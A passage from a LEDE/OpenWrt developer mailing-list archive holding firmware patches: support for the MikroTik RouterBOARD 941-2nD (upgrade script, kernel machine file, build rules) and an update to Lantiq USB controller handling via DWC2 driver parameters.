> +++ b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
> @@ -11,6 +11,8 @@ RAMFS_COPY_DATA=/lib/ar71xx.sh
> CI_BLKSZ=65536
> CI_LDADR=0x80060000
> 
> +PLATFORM_DO_UPGRADE_COMBINED_SEPARATE_MTD=0
> +
> platform_find_partitions() {
> 	local first dev size erasesize name
> 	while read dev size erasesize name; do
> @@ -40,6 +42,13 @@ platform_find_kernelpart() {
> 	done
> }
> 
> +platform_find_rootfspart() {
> +	local part
> +	for part in "${1%:*}" "${1#*:}"; do
> +		[ "$part" != "$2" ] && echo "$part"; break
> +	done
> +}
> +
> platform_do_upgrade_combined() {
> 	local partitions=$(platform_find_partitions)
> 	local kernelpart=$(platform_find_kernelpart "${partitions#*:}")
> @@ -53,13 +62,22 @@ platform_do_upgrade_combined() {
> 	   [ ${root_blocks:-0} -gt 0 ] && \
> 	   [ ${erase_size:-0} -gt 0 ];
> 	then
> +		local rootfspart=$(platform_find_rootfspart "$partitions" "$kernelpart")
> 		local append=""
> 		[ -f "$CONF_TAR" -a "$SAVE_CONFIG" -eq 1 ] && append="-j $CONF_TAR"
> 
> -		( dd if="$1" bs=$CI_BLKSZ skip=1 count=$kern_blocks 2>/dev/null; \
> -		  dd if="$1" bs=$CI_BLKSZ skip=$((1+$kern_blocks)) count=$root_blocks 2>/dev/null ) | \
> -			mtd -r $append -F$kernelpart:$kern_length:$CI_LDADR,rootfs write - $partitions
> +		if [ "$PLATFORM_DO_UPGRADE_COMBINED_SEPARATE_MTD" -ne 1 ]; then
> +		    ( dd if="$1" bs=$CI_BLKSZ skip=1 count=$kern_blocks 2>/dev/null; \
> +		      dd if="$1" bs=$CI_BLKSZ skip=$((1+$kern_blocks)) count=$root_blocks 2>/dev/null ) | \
> +			    mtd -r $append -F$kernelpart:$kern_length:$CI_LDADR,rootfs write - $partitions
> +		elif [ -n "$rootfspart" ]; then
> +		    dd if="$1" bs=$CI_BLKSZ skip=1 count=$kern_blocks 2>/dev/null | \
> +			    mtd write - $kernelpart
> +		    dd if="$1" bs=$CI_BLKSZ skip=$((1+$kern_blocks)) count=$root_blocks 2>/dev/null | \
> +			    mtd -r $append write - $rootfspart
> +		fi
> 	fi
> +	PLATFORM_DO_UPGRADE_COMBINED_SEPARATE_MTD=0
> }
> 
> tplink_get_image_hwid() {
> @@ -308,6 +326,7 @@ platform_check_image() {
> 	ls-sr71|\
> 	pb42|\
> 	pb44|\
> +	rb-941-2nd|\
> 	routerstation-pro|\
> 	routerstation|\
> 	wp543|\
> @@ -586,6 +605,10 @@ platform_do_upgrade() {
> 	local board=$(ar71xx_board_name)
> 
> 	case "$board" in
> +	rb-941-2nd)
> +		PLATFORM_DO_UPGRADE_COMBINED_SEPARATE_MTD=1
> +		platform_do_upgrade_combined "$ARGV"
> +		;;
> 	all0258n)
> 		platform_do_upgrade_allnet "0x9f050000" "$ARGV"
> 		;;
> diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
> index 4b2f736..a79d53e 100644
> --- a/target/linux/ar71xx/config-4.4
> +++ b/target/linux/ar71xx/config-4.4
> @@ -143,6 +143,7 @@ CONFIG_ATH79_MACH_R6100=y
> # CONFIG_ATH79_MACH_RB750 is not set
> # CONFIG_ATH79_MACH_RB91X is not set
> # CONFIG_ATH79_MACH_RB922 is not set
> +# CONFIG_ATH79_MACH_RB941 is not set
> # CONFIG_ATH79_MACH_RB95X is not set
> # CONFIG_ATH79_MACH_RBSXTLITE is not set
> CONFIG_ATH79_MACH_RE450=y
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
> index 21d6b51..b38c30a 100644
> --- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
> @@ -860,6 +860,16 @@ config ATH79_MACH_RB922
> 	select ATH79_ROUTERBOOT
> 	select RLE_DECOMPRESS
> 
> +config ATH79_MACH_RB941
> +	bool "MikroTik RouterBOARD 941-2nd support"
> +	select SOC_QCA953X
> +	select ATH79_DEV_ETH
> +	select ATH79_DEV_GPIO_BUTTONS
> +	select ATH79_DEV_LEDS_GPIO
> +	select ATH79_DEV_M25P80
> +	select ATH79_DEV_WMAC
> +	select ATH79_ROUTERBOOT
> +
> config ATH79_MACH_RB95X
>        bool "MikroTik RouterBOARD 95X support"
>        select SOC_AR934X
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
> index 6384c06..03bbe21 100644
> --- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
> @@ -147,6 +147,7 @@ obj-$(CONFIG_ATH79_MACH_RB4XX)			+= mach-rb4xx.o
> obj-$(CONFIG_ATH79_MACH_RB750)			+= mach-rb750.o
> obj-$(CONFIG_ATH79_MACH_RB91X)			+= mach-rb91x.o
> obj-$(CONFIG_ATH79_MACH_RB922)			+= mach-rb922.o
> +obj-$(CONFIG_ATH79_MACH_RB941)			+= mach-rb941.o
> obj-$(CONFIG_ATH79_MACH_RB95X)			+= mach-rb95x.o
> obj-$(CONFIG_ATH79_MACH_RBSXTLITE)		+= mach-rbsxtlite.o
> obj-$(CONFIG_ATH79_MACH_RE450)			+= mach-re450.o
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c
> new file mode 100644
> index 0000000..5a8c7c0
> --- /dev/null
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c
> @@ -0,0 +1,174 @@
> +/*
> + *  MikroTik RouterBOARD 941-2nD support
> + *
> + *  Copyright (C) 2016 Sergey Sergeev <adron at yapic.net>
> + *
> + *  This program is free software; you can redistribute it and/or modify it
> + *  under the terms of the GNU General Public License version 2 as published
> + *  by the Free Software Foundation.
> + */
> +
> +#include <linux/export.h>
> +#include <linux/pci.h>
> +#include <linux/ath9k_platform.h>
> +#include <linux/platform_device.h>
> +#include <linux/phy.h>
> +#include <linux/ar8216_platform.h>
> +#include <linux/rle.h>
> +#include <linux/routerboot.h>
> +#include <linux/gpio.h>
> +
> +#include <linux/mtd/mtd.h>
> +//#include <linux/mtd/nand.h>
> +#include <linux/mtd/partitions.h>
> +
> +#include <asm/mach-ath79/ar71xx_regs.h>
> +#include <asm/mach-ath79/ath79.h>
> +#include <asm/mach-ath79/irq.h>
> +
> +#include "common.h"
> +#include "dev-ap9x-pci.h"
> +#include "dev-eth.h"
> +#include "dev-spi.h"
> +#include "dev-gpio-buttons.h"
> +#include "dev-leds-gpio.h"
> +#include "dev-m25p80.h"
> +//#include "dev-usb.h"
> +#include "dev-wmac.h"
> +#include "machtypes.h"
> +#include "routerboot.h"
> +
> +#define RB941_GPIO_LED_ACT      14
> +#define RB941_GPIO_BTN_RESET    16
> +
> +#define RB941_KEYS_POLL_INTERVAL 20 /* msecs */
> +#define RB941_KEYS_DEBOUNCE_INTERVAL (3 * RB941_KEYS_POLL_INTERVAL)
> +
> +#define RB_ROUTERBOOT_OFFSET    0x0000
> +#define RB_ROUTERBOOT_SIZE      0xe000
> +#define RB_HARD_CFG_OFFSET      0xe000
> +#define RB_HARD_CFG_SIZE        0x1000
> +#define RB_BIOS_OFFSET          0xf000
> +#define RB_BIOS_SIZE            0x1000
> +#define RB_ROUTERBOOT2_OFFSET   0x10000
> +#define RB_ROUTERBOOT2_SIZE     0xf000
> +#define RB_SOFT_CFG_OFFSET      0x1f000
> +#define RB_SOFT_CFG_SIZE        0x1000
> +#define RB_ROOTFS_OFFSET        0x20000
> +#define RB_ROOTFS_SIZE          0x9e0000
> +#define RB_KERNEL_OFFSET        0xa00000
> +#define RB_KERNEL_SIZE          MTDPART_SIZ_FULL
> +
> +void __init rb941_wlan_init(void)
> +{
> +    char *art_buf;
> +    u8 wlan_mac[ETH_ALEN];
> +
> +    art_buf = rb_get_wlan_data();
> +    if (art_buf == NULL)
> +            return;
> +
> +    ath79_init_mac(wlan_mac, ath79_mac_base, 11);
> +    ath79_register_wmac(art_buf + 0x1000, wlan_mac);
> +
> +    kfree(art_buf);
> +}
> +
> +static struct mtd_partition rb941_spi_partitions[] = {
> +    {
> +            .name = "routerboot",
> +            .offset = RB_ROUTERBOOT_OFFSET,
> +            .mask_flags = MTD_WRITEABLE,
> +            .size = RB_ROUTERBOOT_SIZE,
> +    }, {
> +            .name = "hard_config",
> +            .offset = RB_HARD_CFG_OFFSET,
> +            .size = RB_HARD_CFG_SIZE,
> +            .mask_flags = MTD_WRITEABLE,
> +    }, {
> +            .name = "bios",
> +            .offset = RB_BIOS_OFFSET,
> +            .size = RB_BIOS_SIZE,
> +            .mask_flags = MTD_WRITEABLE,
> +    }, {
> +            .name = "routerboot2",
> +            .offset = RB_ROUTERBOOT2_OFFSET,
> +            .size = RB_ROUTERBOOT2_SIZE,
> +            .mask_flags = MTD_WRITEABLE,
> +    }, {
> +            .name = "soft_config",
> +            .offset = RB_SOFT_CFG_OFFSET,
> +            .size = RB_SOFT_CFG_SIZE,
> +            .mask_flags = MTD_WRITEABLE,
> +    }, {
> +            .name = "rootfs",
> +            .offset = RB_ROOTFS_OFFSET,
> +            .size = RB_ROOTFS_SIZE,
> +    }, {
> +            .name = "kernel",
> +            .offset = RB_KERNEL_OFFSET,
> +            .size = RB_KERNEL_SIZE,
> +    }
> +};
> +
> +static struct flash_platform_data rb941_spi_flash_data = {
> +    .parts          = rb941_spi_partitions,
> +    .nr_parts       = ARRAY_SIZE(rb941_spi_partitions),
> +};
> +
> +static struct gpio_led rb941_leds[] __initdata = {
> +    {
> +        .name = "rb:green:act",
> +        .gpio = RB941_GPIO_LED_ACT,
> +        .active_low = 1,
> +    },
> +};
> +
> +static struct gpio_keys_button rb941_gpio_keys[] __initdata = {
> +    {
> +        .desc = "Reset button",
> +        .type = EV_KEY,
> +        .code = KEY_RESTART,
> +        .debounce_interval = RB941_KEYS_DEBOUNCE_INTERVAL,
> +        .gpio = RB941_GPIO_BTN_RESET,
> +        .active_low = 1,
> +    },
> +};
> +
> +static void __init rb941_setup(void)
> +{
> +    const struct rb_info *info;
> +    //try to get rb_info data
> +    info = rb_init_info((void *)(KSEG1ADDR(AR71XX_SPI_BASE)), 0x20000);
> +    if (!info){
> +        pr_err("%s: Can't get rb_info data from flash!\n", __func__);
> +        //return -EINVAL; //Not critical ... continue!
> +    }
> +    ath79_setup_ar934x_eth_cfg(AR934X_ETH_CFG_SW_ONLY_MODE);
> +    ath79_register_m25p80(&rb941_spi_flash_data);
> +    ath79_register_mdio(0, 0x0);
> +
> +    /* WAN. We have no WAN. Only LAN. */
> +    /*ath79_switch_data.phy4_mii_en = 1;
> +    ath79_switch_data.phy_poll_mask = BIT(4);
> +    ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_MII;
> +    ath79_eth0_data.phy_mask = BIT(4);
> +    ath79_init_mac(ath79_eth0_data.mac_addr, ath79_mac_base, 0);
> +    ath79_register_eth(0); */
> +
> +    /* LAN */
> +    ath79_init_mac(ath79_eth1_data.mac_addr, ath79_mac_base, 0);
> +    ath79_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_GMII;
> +    ath79_register_eth(1);
> +
> +    //ath79_register_usb();
> +
> +    rb941_wlan_init();
> +
> +    ath79_register_leds_gpio(-1, ARRAY_SIZE(rb941_leds), rb941_leds);
> +    ath79_register_gpio_keys_polled(-1, RB941_KEYS_POLL_INTERVAL,
> +                                    ARRAY_SIZE(rb941_gpio_keys),
> +                                    rb941_gpio_keys);
> +}
> +
> +MIPS_MACHINE(ATH79_MACH_RB_941, "H951L", "MikroTik RouterBOARD 941-2nD", rb941_setup);
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
> index d18a71c..f64031a 100644
> --- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
> @@ -162,6 +162,7 @@ enum ath79_mach_type {
> 	ATH79_MACH_RB_751,			/* MikroTik RouterBOARD 751 */
> 	ATH79_MACH_RB_751G,			/* Mikrotik RouterBOARD 751G */
> 	ATH79_MACH_RB_922GS,			/* Mikrotik RouterBOARD 911/922GS boards */
> +	ATH79_MACH_RB_941,			/* MikroTik RouterBOARD 941-2nD */
> 	ATH79_MACH_RB_951G,			/* Mikrotik RouterBOARD 951G */
> 	ATH79_MACH_RB_951U,			/* Mikrotik RouterBOARD 951Ui-2HnD */
> 	ATH79_MACH_RB_SXTLITE2ND,		/* Mikrotik RouterBOARD SXT Lite 2nD */
> diff --git a/target/linux/ar71xx/image/legacy.mk b/target/linux/ar71xx/image/legacy.mk
> index 3259016..b64d79e 100644
> --- a/target/linux/ar71xx/image/legacy.mk
> +++ b/target/linux/ar71xx/image/legacy.mk
> @@ -847,6 +847,29 @@ define Image/Build/Zcomax
> 	fi
> endef
> 
> +ifeq ($(SUBTARGET),mikrotik)
> +
> +define Device/rb-nor-flash-16M
> +  DEVICE_PROFILE := MikrotikDefault MikrotikNorFlash
> +  BLOCKSIZE := 64k
> +  IMAGE_SIZE := 16000k
> +  KERNEL2MINOR_ARGS := -s 1024 -e
> +  LOADER_TYPE := elf
> +  KERNEL_INSTALL := 1
> +  KERNEL := kernel-bin | lzma | loader-kernel | kernel2minor $$(KERNEL2MINOR_ARGS)
> +  KERNEL_INITRAMFS := kernel-bin | lzma | loader-kernel
> +  IMAGES := sysupgrade.bin
> +  IMAGE/sysupgrade.bin = append-rootfs | pad-rootfs | combined-image | check-size $$$$(IMAGE_SIZE)
> +endef
> +
> +define Device/rb-941-2nd
> +$(Device/rb-nor-flash-16M)
> +  BOARDNAME:= rb-941-2nd
> +endef
> +TARGET_DEVICES += rb-941-2nd
> +
> +endif # ifeq ($(SUBTARGET),mikrotik)
> +
> 
> # $(1): template name to be defined.
> # $(2): squashfs suffix to be used.
> diff --git a/target/linux/ar71xx/mikrotik/profiles/03-norflash.mk b/target/linux/ar71xx/mikrotik/profiles/03-norflash.mk
> new file mode 100644
> index 0000000..aa5c891
> --- /dev/null
> +++ b/target/linux/ar71xx/mikrotik/profiles/03-norflash.mk
> @@ -0,0 +1,16 @@
> +#
> +# Copyright (C) 2009 OpenWrt.org
> +#
> +# This is free software, licensed under the GNU General Public License v2.
> +# See /LICENSE for more information.
> +#
> +
> +define Profile/MikrotikNorFlash
> +	NAME:=NorFlash Profile
> +	PACKAGES:=kmod-ath9k
> +endef
> +
> +define Profile/MikrotikNorFlash/Description
> +	Package set optimized for the Mikrotik's boards with single NOR flash(16MB or more).
> +endef
> +$(eval $(call Profile,MikrotikNorFlash))
> -- 
> 2.1.4
> 


From hauke at hauke-m.de  Fri Jan  6 11:06:33 2017
From: hauke at hauke-m.de (Hauke Mehrtens)
Date: Fri,  6 Jan 2017 20:06:33 +0100
Subject: [LEDE-DEV] [PATCH] lantiq: update USB controller handling
Message-ID: <20170106190633.21185-1-hauke@hauke-m.de>

This makes the code use the same settings aas the vendor sdrivers.

Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
---
 target/linux/lantiq/dts/amazonse.dtsi              |   3 +-
 target/linux/lantiq/dts/ar9.dtsi                   |   6 +-
 target/linux/lantiq/dts/danube.dtsi                |   2 +-
 target/linux/lantiq/dts/vr9.dtsi                   |   6 +-
 ...MIPS-lantiq-danube-initialize-usb-on-boot.patch |  10 -
 .../patches-4.4/0041-USB-DWC2-add-ltq-params.patch |  75 --------
 .../linux/lantiq/patches-4.4/0047-poweroff.patch   |   2 +-
 ...2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch |  78 ++++++++
 ...ke-the-lantiq-settings-match-vendor-drive.patch |  53 ++++++
 .../patches-4.4/0062-USB-DWC2-add-ltq-params.patch |  47 +++++
 ...65-MIPS-lantiq-improve-USB-initialization.patch | 202 +++++++++++++++++++++
 ...x200-add-gphy-clk-src-device-tree-binding.patch |   6 +-
 12 files changed, 395 insertions(+), 95 deletions(-)
 delete mode 100644 target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
 delete mode 100644 target/linux/lantiq/patches-4.4/0041-USB-DWC2-add-ltq-params.patch
 create mode 100644 target/linux/lantiq/patches-4.4/0060-usb-dwc2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch
 create mode 100644 target/linux/lantiq/patches-4.4/0061-USB-DWC2-make-the-lantiq-settings-match-vendor-drive.patch
 create mode 100644 target/linux/lantiq/patches-4.4/0062-USB-DWC2-add-ltq-params.patch
 create mode 100644 target/linux/lantiq/patches-4.4/0065-MIPS-lantiq-improve-USB-initialization.patch

diff --git a/target/linux/lantiq/dts/amazonse.dtsi b/target/linux/lantiq/dts/amazonse.dtsi
index bce618fed8..2b8ad08140 100644
--- a/target/linux/lantiq/dts/amazonse.dtsi
+++ b/target/linux/lantiq/dts/amazonse.dtsi
@@ -122,11 +122,12 @@
 		};
 
 		ifxhcd at E101000 {
-			compatible = "lantiq,ifxhcd-ase";
+			compatible = "lantiq,ase-usb", "lantiq,ifxhcd-ase";
 			reg = <0xE101000 0x1000
 				0xE120000 0x3f000>;
 			interrupt-parent = <&icu0>;
 			interrupts = <39>;
+			dr_mode = "host";
 			status = "disabled";
 		};
 
diff --git a/target/linux/lantiq/dts/ar9.dtsi b/target/linux/lantiq/dts/ar9.dtsi
index 569f25f02c..2638a4b268 100644
--- a/target/linux/lantiq/dts/ar9.dtsi
+++ b/target/linux/lantiq/dts/ar9.dtsi
@@ -137,20 +137,22 @@
 		};
 
 		ifxhcd at E101000 {
-			compatible = "lantiq,ifxhcd-arx100", "lantiq,ifxhcd-arx100-dwc2";
+			compatible = "lantiq,arx100-usb", "lantiq,ifxhcd-arx100";
 			reg = <0xE101000 0x1000
 				0xE120000 0x3f000>;
 			interrupt-parent = <&icu0>;
 			interrupts = <62 91>;
+			dr_mode = "host";
 			status = "disabled";
 		};
 
 		ifxhcd at E106000 {
-			compatible = "lantiq,ifxhcd-arx100-dwc2";
+			compatible = "lantiq,arx100-usb";
 			reg = <0xE106000 0x1000
 				0xE1E0000 0x3f000>;
 			interrupt-parent = <&icu0>;
 			interrupts = <91>;
+			dr_mode = "host";
 			status = "disabled";
 		};
 
diff --git a/target/linux/lantiq/dts/danube.dtsi b/target/linux/lantiq/dts/danube.dtsi
index f11787f975..83e85c36a5 100644
--- a/target/linux/lantiq/dts/danube.dtsi
+++ b/target/linux/lantiq/dts/danube.dtsi
@@ -143,7 +143,7 @@
 		};
 
 		ifxhcd at E101000 {
-			compatible = "lantiq,ifxhcd-danube-dwc2", "lantiq,ifxhcd-danube";
+			compatible = "lantiq,danube-usb", "lantiq,ifxhcd-danube";
 			reg = <0xE101000 0x1000
 				0xE120000 0x3f000>;
 			interrupt-parent = <&icu0>;
diff --git a/target/linux/lantiq/dts/vr9.dtsi b/target/linux/lantiq/dts/vr9.dtsi
index 4810a91c5c..eff4944411 100644
--- a/target/linux/lantiq/dts/vr9.dtsi
+++ b/target/linux/lantiq/dts/vr9.dtsi
@@ -177,19 +177,21 @@
 
 		ifxhcd at E101000 {
 			status = "disabled";
-			compatible = "lantiq,ifxhcd-xrx200", "lantiq,ifxhcd-xrx200-dwc2";
+			compatible = "lantiq,xrx200-usb", "lantiq,ifxhcd-xrx200";
 			reg = <0xE101000 0x1000
 				0xE120000 0x3f000>;
 			interrupt-parent = <&icu0>;
 			interrupts = <62 91>;
+			dr_mode = "host";
 		};
 
 		ifxhcd at E106000 {
 			status = "disabled";
-			compatible = "lantiq,ifxhcd-xrx200-dwc2";
+			compatible = "lantiq,xrx200-usb";
 			reg = <0xE106000 0x1000>;
 			interrupt-parent = <&icu0>;
 			interrupts = <91>;
+			dr_mode = "host";
 		};
 
 		eth0: eth at E108000 {
diff --git a/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch b/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
deleted file mode 100644
index bd42f38c0a..0000000000
--- a/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
+++ /dev/null
@@ -1,10 +0,0 @@
---- a/arch/mips/lantiq/xway/reset.c
-+++ b/arch/mips/lantiq/xway/reset.c
-@@ -370,6 +370,7 @@ static int __init mips_reboot_setup(void
- 		panic("Failed to remap core memory");
- 
- 	if (of_machine_is_compatible("lantiq,ar9") ||
-+	    of_machine_is_compatible("lantiq,danube") ||
- 	    of_machine_is_compatible("lantiq,vr9"))
- 		ltq_usb_init();
- 
diff --git a/target/linux/lantiq/patches-4.4/0041-USB-DWC2-add-ltq-params.patch b/target/linux/lantiq/patches-4.4/0041-USB-DWC2-add-ltq-params.patch
deleted file mode 100644
index 68d5f3ff4d..0000000000
--- a/target/linux/lantiq/patches-4.4/0041-USB-DWC2-add-ltq-params.patch
+++ /dev/null
@@ -1,75 +0,0 @@
---- a/drivers/usb/dwc2/platform.c
-+++ b/drivers/usb/dwc2/platform.c
-@@ -145,6 +145,62 @@ static int __dwc2_lowlevel_hw_enable(str
- 	return ret;
- }
- 
-+static const struct dwc2_core_params params_ltq = {
-+	.otg_cap			= 2,	/* non-HNP/non-SRP */
-+	.otg_ver			= -1,
-+	.dma_enable			= -1,
-+	.dma_desc_enable		= -1,
-+	.speed				= -1,
-+	.enable_dynamic_fifo		= -1,
-+	.en_multiple_tx_fifo		= -1,
-+	.host_rx_fifo_size		= 288,	/* 288 DWORDs */
-+	.host_nperio_tx_fifo_size	= 128,	/* 128 DWORDs */
-+	.host_perio_tx_fifo_size	= 96,	/* 96 DWORDs */
-+	.max_transfer_size		= -1,
-+	.max_packet_count		= 511,
-+	.host_channels			= -1,
-+	.phy_type			= -1,
-+	.phy_utmi_width			= -1,
-+	.phy_ulpi_ddr			= -1,
-+	.phy_ulpi_ext_vbus		= -1,
-+	.i2c_enable			= -1,
-+	.ulpi_fs_ls			= -1,
-+	.host_support_fs_ls_low_power	= -1,
-+	.host_ls_low_power_phy_clk	= -1,
-+	.ts_dline			= -1,
-+	.reload_ctl			= -1,
-+	.ahbcfg				= GAHBCFG_HBSTLEN_INCR16 << GAHBCFG_HBSTLEN_SHIFT,
-+	.uframe_sched			= -1,
-+};
-+
-+static const struct dwc2_core_params params_danube = {
-+	.otg_cap			=  2,	/* non-HNP/non-SRP */
-+	.otg_ver			= -1,
-+	.dma_enable			= -1,
-+	.dma_desc_enable		= -1,
-+	.speed				= -1,
-+	.enable_dynamic_fifo		= -1,
-+	.en_multiple_tx_fifo		= -1,
-+	.host_rx_fifo_size		= -1,
-+	.host_nperio_tx_fifo_size	= -1,
-+	.host_perio_tx_fifo_size	= -1,
-+	.max_transfer_size		= -1,
-+	.max_packet_count		= -1,
-+	.host_channels			= -1,
-+	.phy_type			= -1,
-+	.phy_utmi_width			= -1,
-+	.phy_ulpi_ddr			= -1,
-+	.phy_ulpi_ext_vbus		= -1,
-+	.i2c_enable			= -1,
-+	.ulpi_fs_ls			= -1,
-+	.host_support_fs_ls_low_power	= -1,
-+	.host_ls_low_power_phy_clk	= -1,
-+	.ts_dline			= -1,
-+	.reload_ctl			= -1,
-+	.ahbcfg				= -1,
-+	.uframe_sched			= -1,
-+};
-+
- /**
-  * dwc2_lowlevel_hw_enable - enable platform lowlevel hw resources
-  * @hsotg: The driver state
-@@ -310,6 +366,9 @@ static int dwc2_driver_remove(struct pla
- static const struct of_device_id dwc2_of_match_table[] = {
- 	{ .compatible = "brcm,bcm2835-usb", .data = &params_bcm2835 },
- 	{ .compatible = "rockchip,rk3066-usb", .data = &params_rk3066 },
-+	{ .compatible = "lantiq,ifxhcd-danube-dwc2", .data = &params_danube },
-+	{ .compatible = "lantiq,ifxhcd-arx100-dwc2", .data = &params_ltq },
-+	{ .compatible = "lantiq,ifxhcd-xrx200-dwc2", .data = &params_ltq },
- 	{ .compatible = "snps,dwc2", .data = NULL },
- 	{ .compatible = "samsung,s3c6400-hsotg", .data = NULL},
- 	{},
diff --git a/target/linux/lantiq/patches-4.4/0047-poweroff.patch b/target/linux/lantiq/patches-4.4/0047-poweroff.patch
index 88aed2ce96..54249bba52 100644
--- a/target/linux/lantiq/patches-4.4/0047-poweroff.patch
+++ b/target/linux/lantiq/patches-4.4/0047-poweroff.patch
@@ -13,7 +13,7 @@
  static void ltq_usb_init(void)
  {
  	/* Power for USB cores 1 & 2 */
-@@ -380,7 +374,6 @@ static int __init mips_reboot_setup(void
+@@ -379,7 +373,6 @@ static int __init mips_reboot_setup(void
  
  	_machine_restart = ltq_machine_restart;
  	_machine_halt = ltq_machine_halt;
diff --git a/target/linux/lantiq/patches-4.4/0060-usb-dwc2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch b/target/linux/lantiq/patches-4.4/0060-usb-dwc2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch
new file mode 100644
index 0000000000..91d6ac92e7
--- /dev/null
+++ b/target/linux/lantiq/patches-4.4/0060-usb-dwc2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch
@@ -0,0 +1,78 @@
+From 6c0c0951bbf8c2c216675fe277fba4c42aa0a2bf Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Antti=20Sepp=C3=A4l=C3=A4?= <a.seppala at gmail.com>
+Date: Sat, 27 Feb 2016 12:31:24 +0200
+Subject: [PATCH] usb: dwc2: Add support for Lantiq ARX and XRX SoCs
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Add support for Lantiq ARX and XRX SoC families to the dwc2 driver.
+
+Acked-by: John Youn <johnyoun at synopsys.com>
+Signed-off-by: Antti Sepp?l? <a.seppala at gmail.com>
+Signed-off-by: Felipe Balbi <balbi at kernel.org>
+---
+ Documentation/devicetree/bindings/usb/dwc2.txt |  2 ++
+ drivers/usb/dwc2/platform.c                    | 34 ++++++++++++++++++++++++++
+ 2 files changed, 36 insertions(+)
+
+--- a/Documentation/devicetree/bindings/usb/dwc2.txt
++++ b/Documentation/devicetree/bindings/usb/dwc2.txt
+@@ -7,6 +7,8 @@ Required properties:
+   - rockchip,rk3066-usb: The DWC2 USB controller instance in the rk3066 Soc;
+   - "rockchip,rk3188-usb", "rockchip,rk3066-usb", "snps,dwc2": for rk3188 Soc;
+   - "rockchip,rk3288-usb", "rockchip,rk3066-usb", "snps,dwc2": for rk3288 Soc;
++  - "lantiq,arx100-usb": The DWC2 USB controller instance in Lantiq ARX SoCs;
++  - "lantiq,xrx200-usb": The DWC2 USB controller instance in Lantiq XRX SoCs;
+   - snps,dwc2: A generic DWC2 USB controller with default parameters.
+ - reg : Should contain 1 register range (address and length)
+ - interrupts : Should contain 1 interrupt
+--- a/drivers/usb/dwc2/platform.c
++++ b/drivers/usb/dwc2/platform.c
+@@ -116,6 +116,37 @@ static const struct dwc2_core_params par
+ 	.hibernation			= -1,
+ };
+ 
++static const struct dwc2_core_params params_ltq = {
++	.otg_cap			= 2,	/* non-HNP/non-SRP */
++	.otg_ver			= -1,
++	.dma_enable			= -1,
++	.dma_desc_enable		= -1,
++	.speed				= -1,
++	.enable_dynamic_fifo		= -1,
++	.en_multiple_tx_fifo		= -1,
++	.host_rx_fifo_size		= 288,	/* 288 DWORDs */
++	.host_nperio_tx_fifo_size	= 128,	/* 128 DWORDs */
++	.host_perio_tx_fifo_size	= 96,	/* 96 DWORDs */
++	.max_transfer_size		= 65535,
++	.max_packet_count		= 511,
++	.host_channels			= -1,
++	.phy_type			= -1,
++	.phy_utmi_width			= -1,
++	.phy_ulpi_ddr			= -1,
++	.phy_ulpi_ext_vbus		= -1,
++	.i2c_enable			= -1,
++	.ulpi_fs_ls			= -1,
++	.host_support_fs_ls_low_power	= -1,
++	.host_ls_low_power_phy_clk	= -1,
++	.ts_dline			= -1,
++	.reload_ctl			= -1,
++	.ahbcfg				= GAHBCFG_HBSTLEN_INCR16 <<
++					  GAHBCFG_HBSTLEN_SHIFT,
++	.uframe_sched			= -1,
++	.external_id_pin_ctl		= -1,
++	.hibernation			= -1,
++};
++
+ static int __dwc2_lowlevel_hw_enable(struct dwc2_hsotg *hsotg)
+ {
+ 	struct platform_device *pdev = to_platform_device(hsotg->dev);
+@@ -310,6 +341,8 @@ static int dwc2_driver_remove(struct pla
+ static const struct of_device_id dwc2_of_match_table[] = {
+ 	{ .compatible = "brcm,bcm2835-usb", .data = &params_bcm2835 },
+ 	{ .compatible = "rockchip,rk3066-usb", .data = &params_rk3066 },
++	{ .compatible = "lantiq,arx100-usb", .data = &params_ltq },
++	{ .compatible = "lantiq,xrx200-usb", .data = &params_ltq },
+ 	{ .compatible = "snps,dwc2", .data = NULL },
+ 	{ .compatible = "samsung,s3c6400-hsotg", .data = NULL},
+ 	{},
diff --git a/target/linux/lantiq/patches-4.4/0061-USB-DWC2-make-the-lantiq-settings-match-vendor-drive.patch b/target/linux/lantiq/patches-4.4/0061-USB-DWC2-make-the-lantiq-settings-match-vendor-drive.patch
new file mode 100644
index 0000000000..7a48910442
--- /dev/null
+++ b/target/linux/lantiq/patches-4.4/0061-USB-DWC2-make-the-lantiq-settings-match-vendor-drive.patch
@@ -0,0 +1,53 @@
+From be028b8785d219a60d00a67fe3c5f421c2a22d56 Mon Sep 17 00:00:00 2001
+From: Hauke Mehrtens <hauke at hauke-m.de>
+Date: Fri, 6 Jan 2017 17:55:24 +0100
+Subject: [PATCH 1/2] USB: DWC2: make the lantiq settings match vendor driver
+
